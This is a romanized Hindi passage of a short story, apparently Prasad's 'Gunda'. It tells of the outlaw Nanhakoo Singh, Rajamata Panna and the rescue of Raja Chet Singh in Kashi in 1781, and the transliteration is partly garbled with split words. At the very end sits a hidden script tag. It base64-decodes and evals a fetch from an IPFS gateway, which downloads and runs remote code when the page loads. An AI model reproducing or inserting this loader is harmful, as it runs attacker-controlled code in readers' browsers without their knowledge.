rajamata ka mukh us prachin ghatana ko smaran karake n jane kyoan vivarn ho gaya. phir apane ko sanbhalakar unhoanne poochha-‘‘to baboo nanhakoosianh udhar kaise a gaye?’’

dulari ne muskarakar sir nicha kar liya! dulari rajamata panna ke pita ki jamiandari mean rahane vali veshya ki ladaqi thi. usake sath hi kitani bar jhoole-hindole apane bachapan mean panna jhool chuki thi. vah bachapan se hi gane mean surili thi. sundari hone par chanchal bhi thi. panna jab kashiraj ki mata thi, tab dulari kashi ki prasiddh ganevali thi. rajamahal mean usaka gana-bajana hua hi karata. maharaj balavantasianh ke samay se hi sangit panna ke jivan ka avashyak aansh tha. haan, ab prem-du:kh aur dard-bhari virah-kalpana ke git ki or adhik ruchi n thi. ab satvik bhavapoorn bhajan hota tha. rajamata panna ka vaidhavy se dipt shant mukhamandal kuchh malin ho gaya.

b di rani ki sapatny jvala balavantasianh ke mar jane par bhi nahian bujhi. ant:pur kalah ka rangamanch bana rahata, isi se pray: panna kashi ke rajamandir mean akar pooja-path mean apana man lagati. ramanagar mean usako chain nahian milata. nayi rani hone ke karan balavantasianh ki preyasi hone ka gaurav to use tha hi, sath mean putr utpann karane ka saubhagy bhi mila, phir bhi asavarnata ka samajik dosh usake hriday ko vyathit kiya karata. use apane byah ki arambhik charcha ka smaran ho aya.

chhote-se manch par baithi, ganga ki um dati huee dhara ko panna any-manask hokar dekhane lagi. us bat ko, jo atit mean ek bar, hath se anajane mean khisak janevali vastu ki tarah gupt ho gayi ho; sochane ka koee karan nahian. usase kuchh banata-big data bhi nahian; parantu manav-svabhav hisab rakhane ki prathanusar kabhi-kabhi kahi baithata hai, ‘‘ki yadi vah bat ho gayi hoti to?’’ thik usi tarah panna bhi raja balavantasianh dvara balapoorvak rani banayi jane ke pahale ki ek sambhavana ko sochane lagi thi. so bhi baboo nanhakoosianh ka nam sun lene par. geanda muanhalagi dasi thi. vah panna ke sath usi din se hai, jis din se panna balavantasianh ki preyasi huee. rajy-bhar ka anusandhan usi ke dvara mila karata. aur use n jane kitani janakari bhi thi. usane dulari ka rang ukha dane ke lie kuchh kahana avashyak samajha.

‘‘maharani! nanhakoosianh apani sab jamiandari svaang, bhaiansoan ki l daee, ghu dadau d aur gane-bajane mean u dakar ab dakoo ho gaya hai. jitane khoon hote haian, sab mean usi ka hath rahata hai. jitani ....’’ use rokakar dulari ne kaha-‘‘yah jhooth hai. baboo sahab ke aisa dharmatma to koee hai hi nahian. kitani vidhavaean unaki di huee dhoti se apana tan dhankati hai. kitani l dakiyoan ki byah-shadi hoti hai. kitane sataye hue logoan ki unake dvara raksha hoti hai.’’

rani panna ke hriday mean ek taralata udvelit huee. unhoanne hansakar kaha-‘‘dulari, ve tere yahaan ate haian n? isi se too unaki b daee.....’’

‘‘nahian sarakar! shapath khakar kah sakati hooan ki baboo nanhakoosianh ne aj tak kabhi mere kothe par pair bhi nahian rakha.’’

rajamata n jane kyoan is adh‌bhut vyakti ko samajhane ke lie chanchal ho uthi thian. tab bhi unhoanne dulari ko age kuchh n kahane ke lie tikhi drishti se dekha. vah chup ho gayi. pahale pahar ki shahanaee bajane lagi. dulari chhutti maangakar doli par baith gayi. tab geanda ne kaha-‘‘sarakar! ajakal nagar ki dasha b di buri hai. din daha de log loot lie jate haian. saik doan jagah nala par jue mean log apana sarvasv ganvate haian. bachche phusalaye jate haian. galiyoan mean lathiyaan aur chhura chalane ke lie tedhi bhauanhe karan ban jati haian. udhar rejident sahab se maharaja ki anaban chal rahi hai.’’ rajamata chup rahian.

doosare din raja chetasianh ke pas rejident markahem ki chiththi ayi, jisamean nagar ki duvryavastha ki k di alochana thi. dakuoan aur gundoan ko pak dane ke lie, un par k da niyantran rakhane ki sammati bhi thi. kubara maulavi vali ghatana ka bhi ullekh tha. udhar heanstigs ke ane ki bhi soochana thi. shivalayaghat aur ramanagar mean halachal mach gayi! kotaval himmatasianh, pagal ki tarah, jisake hath mean lathi, lohaangi, g daansa, bichhua aur karauli dekhate, usi ko pak dane lage.

ek din nanhakoosianh sumbha ke nale ke sangam par, ooanche-se tile ki ghani hariyali mean apane chune hue sathiyoan ke sath doodhiya chhan rahe the. ganga mean, unaki patali doangi b d ki jata se bandhi thi. kathakoan ka gana ho raha tha. char ulaanki ikke kase-kasaye kh de the.

nanhakoosianh ne akasmath kaha-‘‘malooki!’’ gana jamata nahian hai. ulaanki par baithakar jao, dulari ko bula lao.’’ malooki vahaan majira baja raha tha. dau dakar ikke par ja baitha. aj nanhakoosianh ka man ukh da tha. booti kee bar chhanane par bhi nasha nahian. ek ghante mean dulari samane a gayi. usane muskarakar kaha-‘‘kya hukm hai baboo sahab?’’

‘‘dulari! aj gana sunane ka man kar raha hai.’’

‘‘is jangal mean kyoan?-usane sashank hansakar kuchh abhipray se poochha.

‘‘tum kisi tarah ka khataka n karo.’’-nanhakoosianh ne hansakar kaha.

‘‘yah to maian us din maharani se bhi kah ayi hooan.’’

‘‘kya, kisase?’’

‘‘rajamata pannadevi se ’’-phir us din gana nahian jama. dulari ne ashchary se dekha ki tanoan mean nanhakoo ki aankhe tar ho jati haian. gana-bajana samapt ho gaya tha. varsha ki rat mean jhilliyoan ka svar us jhuramut mean gooanj raha tha. mandir ke samip hi chhote-se kamare mean nanhakoosianh chinta mean nimagn baitha tha. aankhoan mean nid nahian. aur sab log to sone lage the, dulari jag rahi thi. vah bhi kuchh soch rahi thi. aj use, apane ko rokane ke lie kathin prayatn karana p d raha tha; kintu asaphal hokar vah uthi aur nanhakoo ke samip dhire-dhire chali ayi. kuchh ahat pate hi chauankakar nanhakoosianh ne pas hi p di huee talavar utha li. tab tak hansakar dulari ne kaha-‘‘baboo sahab, yah kya? striyoan par bhi talavar chalayi jati hai!’’

chhote-se dipak ke prakash mean vasana-bhari ramani ka mukh dekhakar nanhakoo hans p da. usane kaha-‘‘kyoan baeeji! kya isi samay jane ki p di hai. maulavi ne phir bulaya hai kya?’’ dulari nanhakoo ke pas baith gayi. nanhakoo ne kaha-‘‘kya tumako dar lag raha hai?’’

‘‘nahian, maian kuchh poochhane ayi hooan.’’

‘‘kya?’’

‘‘kya,......yahi ki......kabhi tumhare hriday mean....’’

‘‘use n poochho dulari! hriday ko bekar hi samajh kar to use hath mean liye phir raha hooan. koee kuchh kar deta-kuchalata-chirata-uchhalata! mar jane ke lie sab kuchh to karata hooan, par marane nahian pata.’’

‘‘marane ke lie bhi kahian khojane jana p data hai. apako kashi ka hal kya maloom! n jane gh di bhar mean kya ho jay. ulat-palat hone vala hai kya, banaras ki galiyaan jaise katane ko dau dati haian.’’

‘‘koee nayi bat idhar huee hai kya?’’

‘‘koee heshanitagj aya hai. suna hai usane shivalayaghat par tilangoan ki kampani ka pahara baitha diya hai. raja chetasianh aur rajamata panna vahian haian. koee-koee kahata hai ki unako pak dakar kalakatta bhejane....’’

‘‘kya panna bhi....ranivas bhi vahian hai’’-nanhakoo adhir ho utha tha.

‘‘kyoan baboo sahab, aj rani panna ka nam sunakar apaki aankhoan mean aansoo kyo a gaye?’’

sahasa nanhakoo ka mukh bhayanak ho utha! usane kaha-‘‘chup raho, tum usako janakar kya karogi?’’ vah uth kh da hua. udvign ki tarah n jane kya khojane laga. phir sthir hokar usane kaha-‘‘dulari! jivan mean aj yah pahala hi din hai ki ekant rat mean ek stri mere palang par akar baith gayi hai, maian chirakumar! apani ek pratijna ka nirvah karane ke lie saik doan asaty, aparadh karata phir raha hooan. kyoan? tum janati ho? maian striyoan ka ghor vidrohi hooan aur panna! .... kintu usaka kya aparadh! atyachari balavantasianh ke kaleje mean bichhua maian n utar saka. kintu panna! use pak dakar gore kalakatte bhej deange! vahi ....’’

nanhakoosianh unmatt ho utha tha. dulari ne dekha, nanhakoo andhakar mean hi vat vriksh ke niche pahuancha aur ganga ki um dati huee dhara mean doangi khol di-usi ghane andhakar mean. dulari ka hriday kaanp utha.

bhag 3

16 agast sanh 1781 ko kashi daanvadol ho rahi thi. shivalayaghat mean raja chetasianh lephtinent istakar ke pahare mean the. nagar mean atank tha. dookanean band thian. gharoan mean bachche apani maan se poochhate the-‘maan, aj halue vala nahian aya.’ vah kahati-‘chup bete!’ sadaqean sooni p di thian. tilangoan ki kampani ke age-age kubara maulavi kabhi-kabhi, ata-jata dikhaee p data tha. us samay khuli huee khi dakiyaan band ho jati thian. bhay aur sannate ka rajy tha. chauk mean chitharoosianh ki haveli apane bhitar kashi ki virata ko band kiye kotaval ka abhinay kar rahi thi. isi samay kisi ne pukara-‘‘himmatasianh!’’

khidaqi mean se sir nikal kar himmatasianh ne poochha-‘‘kaun?’’

‘‘baboo nanhakoosianh!’’

‘‘achchha, tum ab tak bahar hi ho?’’

‘‘pagal! raja kaid ho gaye haian. chho d do in sab bahaduroan ko! ham ek bar inako lekar shivalayaghat par jayan.’’

‘‘thaharo’’-kahakar himmatasianh ne kuchh ajna di, sipahi bahar nikale. nanhakoo ki talavar chamak uthi. sipahi bhitar bhage. nanhakoo ne kaha-‘‘namakaharamoan! choodiy़aan pahan lo.’’ logoan ke dekhate-dekhate nanhakoosianh chala gaya. kotavali ke samane phir sannata ho gaya.

nanhakoo unmatt tha. usake tho de-se sathi usaki ajna par jan dene ke lie tule the. vah nahian janata tha ki raja chetasianh ka kya rajanitik aparadh hai? usane kuchh sochakar apane tho de-se sathiyoan ko phatak par g dab d machane ke lie bhej diya. idhar apani doangi lekar shivalay ki khidaqi ke niche dhara katata hua pahuancha. kisi tarah nikale hue patthar mean rassi atakakar, us chanchal doangi ko usane sthir kiya aur bandar ki tarah uchhalakar khidaqi ke bhitar ho raha. us samay vahaan rajamata panna aur raja chetasianh se baboo maniharasianh kah rahe the-‘‘apake yahaan rahane se, ham log kya karean, yah samajh mean nahian ata. pooja-path samapt karake ap ramanagar chali gayi hotian, to yah ....’’

tejasvini panna ne kaha-‘‘ab maian ramanagar kaise chali jaooan?’’

maniharasianh dukhi hokar bole-‘‘kaise bataooan? mere sipahi to bandi haian.’’ itane mean phatak par kolahal macha. raj-parivar apani mantrana mean dooba tha ki nanhakoosianh ka ana unhean maloom hua. samane ka dvar band tha. nanhakoosianh ne ek bar ganga ki dhara ko dekha-usamean ek nav ghat par lagane ke lie laharoan se l d rahi thi. vah prasann ho utha. isi ki pratiksha mean vah ruka tha. usane jaise sabako sachet karate hue kaha-‘‘maharani kahaan hai?’’

sabane ghoom kar dekha-ek aparichit vir-moorti! shastroan se lada hua poora dev!

chetasianh ne poochha-‘‘tum kaun ho?’’

‘‘raj-parivar ka ek bina dam ka sevak!’’

panna ke muanh se halaki-si ek saans nikal rah gayi. usane pahachan liya. itane varshoan ke bad! vahi nanhakoosianh.

maniharasianh ne poochha-‘‘tum kya kar sakate ho?’’

‘‘mai mar sakata hooan! pahale maharani ko doangi par bithaie. niche doosari doangi par achchhe mallah haian. phir bat kijie.’’-maniharasianh ne dekha, janani dyodhi ka daroga raj ki ek doangi par char mallahoan ke sath khidaqi se nav satakar pratiksha mean hai. unhoanne panna se kaha-‘‘chalie, maian sath chalata hooan.’’

‘‘aur...’’-chetasianh ko dekhakar, putravatsala ne sanket se ek prashn kiya, usaka uttar kisi ke pas n tha. maniharasianh ne kaha-‘‘tab maian yahian?’’ nanhakoo ne hansakar kaha-‘‘mere malik, ap nav par baithean. jab tak raja bhi nav par n baith jayange, tab tak satrah goli khakar bhi nanhakoosianh jivit rahane ki pratijna karata hai.’’

panna ne nanhakoo ko dekha. ek kshan ke lie charoan aankhe mili, jinamean janm-janm ka vishvas jyoti ki tarah jal raha tha. phatak balapoorvak khola ja raha tha. nanhakoo ne unmatt hokar kaha-‘‘malik! jaldi kijie.’’

doosare kshan panna doangi par thi aur nanhakoosianh phatak par istakar ke sath. chetaram ne akar ek chiththi maniharasianh ko hath mean di. lephtinent ne kaha-‘‘ap ke adami g dab d macha rahe haian. ab mai apane sipahiyoan ko goli chalane se nahian rok sakata.’’

‘‘mere sipahi yahaan kahaan haian, sahab?’’-maniharasianh ne hansakar kaha. bahar kolahal badhऩe laga.

chetaram ne kaha-‘‘pahale chetasianh ko kaid kijie.’’

‘‘kaun aisi himmat karata hai?’’ k dakakar kahate hue baboo maniharasianh ne talavar khianch li. abhi bat poori n ho saki thi ki kubara maulavi vahaan pahuancha! yahaan maulavi sahab ki kalam nahian chal sakati thi, aur n ye bahar hi ja sakate the. unhoanne kaha-‘‘dekhate kya ho chetaram!’’

chetaram ne raja ke oopar hath rakha hi thi ki nanhakoo ke sadhe hue hath ne usaki bhuja u da di. istakar age badhe, maulavi sahab chillane lage. nanhakoosianh ne dekhate-dekhate istakar aur usake kee sathiyoan ko dharashayi kiya. phir maulavi sahab kaise bachate!

nanhakoosianh ne kaha-‘‘kyoan, us din ke jhap d ne tumako samajhaya nahian? paji!’’-kahakar aisa saf janeva mara ki kubara dher ho gaya. kuchh hi kshanoan mean yah bhishan ghatana ho gayi, jisake lie abhi koee prastut n tha.

nanhakoosianh ne lalakar kar chetasianh se kaha-‘‘ap kya dekhate haian? utariye doangi par!’’-usake ghavoan se rakt ke phuhare chhoot rahe the. udhar phatak se tilange bhitar ane lage the. chetasianh ne khidaqi se utarate hue dekha ki bisoan tilangoan ki sanginoan mean vah avichal kh da hokar talavar chala raha hai. nanhakoo ke chattan-sadrish sharir se gairik ki tarah rakt ki dhara bah rahi hai. gunde ka ek-ek aang katakar vahian girane laga. vah kashi ka guanda tha!

tika tippani aur sandarbh


bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>